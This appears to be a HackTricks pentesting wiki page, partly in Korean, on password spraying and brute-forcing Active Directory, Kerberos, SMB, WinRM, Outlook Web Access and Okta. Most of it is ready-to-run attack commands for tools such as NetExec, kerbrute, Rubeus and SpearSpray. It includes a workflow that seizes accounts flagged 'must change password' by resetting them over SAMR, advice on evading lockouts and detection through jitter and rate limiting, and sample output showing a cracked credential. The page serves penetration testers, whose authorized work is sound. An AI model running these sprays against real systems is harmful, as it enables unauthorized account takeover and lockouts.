12 KiB
Password Spraying / Brute Force
{{#include ../../banners/hacktricks-training.md}}
Password Spraying
여러 개의 valid usernames를 찾았다면, 발견한 각 사용자에 대해 가장 흔한 common passwords를 시도해볼 수 있습니다(환경의 password policy를 염두에 두세요).
기본적으로 default minimum password length는 7입니다.
common usernames 목록도 유용할 수 있습니다: https://github.com/insidetrust/statistically-likely-usernames
참고: could lockout some accounts if you try several wrong passwords (기본적으로 10회 이상).
Get password policy
user credentials가 있거나 domain user로서 shell을 가진 경우 다음으로 get the password policy with:
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Exploitation from Linux (또는 모든 환경에서)
- crackmapexec 사용:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
- **NetExec (CME successor)**를 사용하여 표적형, 저소음 spraying을 SMB/WinRM 전반에 걸쳐:
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
- kerbrute 사용 (Go)
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
- spray (계정 잠금을 피하기 위해 시도 횟수를 지정할 수 있습니다):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
- kerbrute 사용 (python) - 권장하지 않음. 경우에 따라 작동하지 않을 수 있음
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
- Metasploit의
scanner/smb/smb_login
모듈을 사용하여:
- rpcclient를 사용하여:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
Windows에서
- brute 모듈이 포함된 Rubeus 버전으로:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
- Invoke-DomainPasswordSpray을(를) 사용하면 (기본적으로 도메인에서 사용자를 생성하고 도메인의 암호 정책을 가져와 이에 따라 시도 횟수를 제한합니다):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword
식별 및 인수 "Password must change at next logon" 계정 (SAMR)
소음이 적은 기법은 benign/empty password를 spray하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 찾아내는 것이다. 이는 비밀번호가 강제로 만료되어 이전 비밀번호를 알지 못해도 변경할 수 있음을 의미한다.
Workflow:
- 사용자 열거 (RID brute via SAMR)로 대상 목록 작성:
{{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md {{#endref}}
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
- Spray an empty password를 시도하고, hits가 나와도 다음 logon 시 비밀번호 변경이 필요한 계정을 확보하기 위해 계속 진행하세요:
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
- 각 히트마다, SAMR을 통해 NetExec의 모듈로 비밀번호를 변경합니다 ("must change"가 설정된 경우 이전 비밀번호 불필요):
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
운영 노트:
- Kerberos 기반 작업을 수행하기 전에 호스트 시계가 DC와 동기화되어 있는지 확인하세요:
sudo ntpdate <dc_fqdn>
. - 일부 모듈(예: RDP/WinRM)에서 [+]가 (Pwn3d!) 없이 표시되는 것은 creds가 유효하지만 계정에 대화형 로그온 권한이 없음을 의미합니다.
Brute Force
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying은 SMB/NTLM/LDAP 바인드 시도보다 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP-driven 타깃팅, 패턴 엔진, 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합하여 정밀하고 안전하게 스프레이를 수행합니다. 또한 침해된 principals를 Neo4j에 태그하여 BloodHound 경로 탐색에 활용할 수 있습니다.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- 도메인 잠금 정책 + PSO-aware 필터링을 통해 구성 가능한 시도 버퍼(threshold)를 남겨 사용자가 잠기지 않도록 방지.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- 이름 같은 변수와 각 사용자의 pwdLastSet에서 파생된 시간값을 이용한 패턴 기반의 사용자별 비밀번호 생성.
- 스레드, 지터, 초당 최대 요청 수로 처리량 제어.
- 선택적 Neo4j 통합으로 owned users를 BloodHound용으로 표시 가능.
Basic usage and discovery:
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
대상 지정 및 패턴 제어:
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
은밀성 및 안전 제어:
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
Neo4j/BloodHound 정보 보강:
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
패턴 시스템 개요 (patterns.txt):
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
Available variables include:
- {name}, {samaccountname}
- 각 사용자의 pwdLastSet(또는 whenCreated)로부터의 시간값: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 조합 헬퍼 및 조직 토큰: {separator}, {suffix}, {extra}
Operational notes:
- 가장 권위 있는 badPwdCount 및 정책 관련 정보를 읽기 위해 -dc 옵션으로 PDC-emulator에 질의하는 것을 우선하세요.
- badPwdCount 재설정은 관찰 창 이후 다음 시도에서 트리거됩니다; 안전을 위해 임계값과 타이밍을 사용하세요.
- Kerberos pre-auth 시도는 DC telemetry에서 4768/4771로 나타납니다; 섞이기 위해 jitter와 rate-limiting을 사용하세요.
Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
Outlook Web Access
There are multiples tools for password spraying outlook.
- With MSF Owa_login
- with MSF Owa_ews_login
- With Ruler (reliable!)
- With DomainPasswordSpray (Powershell)
- With MailSniper (Powershell)
To use any of these tools, you need a 사용자 목록 and a password / a small list of passwords to spray.
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
Okta
- https://github.com/ustayready/CredKing/blob/master/credking.py
- https://github.com/Rhynorater/Okta-Password-Sprayer
- https://github.com/knavesec/CredMaster
참고자료
- https://github.com/sikumy/spearspray
- https://github.com/TarlogicSecurity/kerbrute
- https://github.com/Greenwolf/Spray
- https://github.com/Hackndo/sprayhound
- https://github.com/login-securite/conpass
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying
- https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell
- www.blackhillsinfosec.com/?p=5296
- https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying
- HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
{{#include ../../banners/hacktricks-training.md}}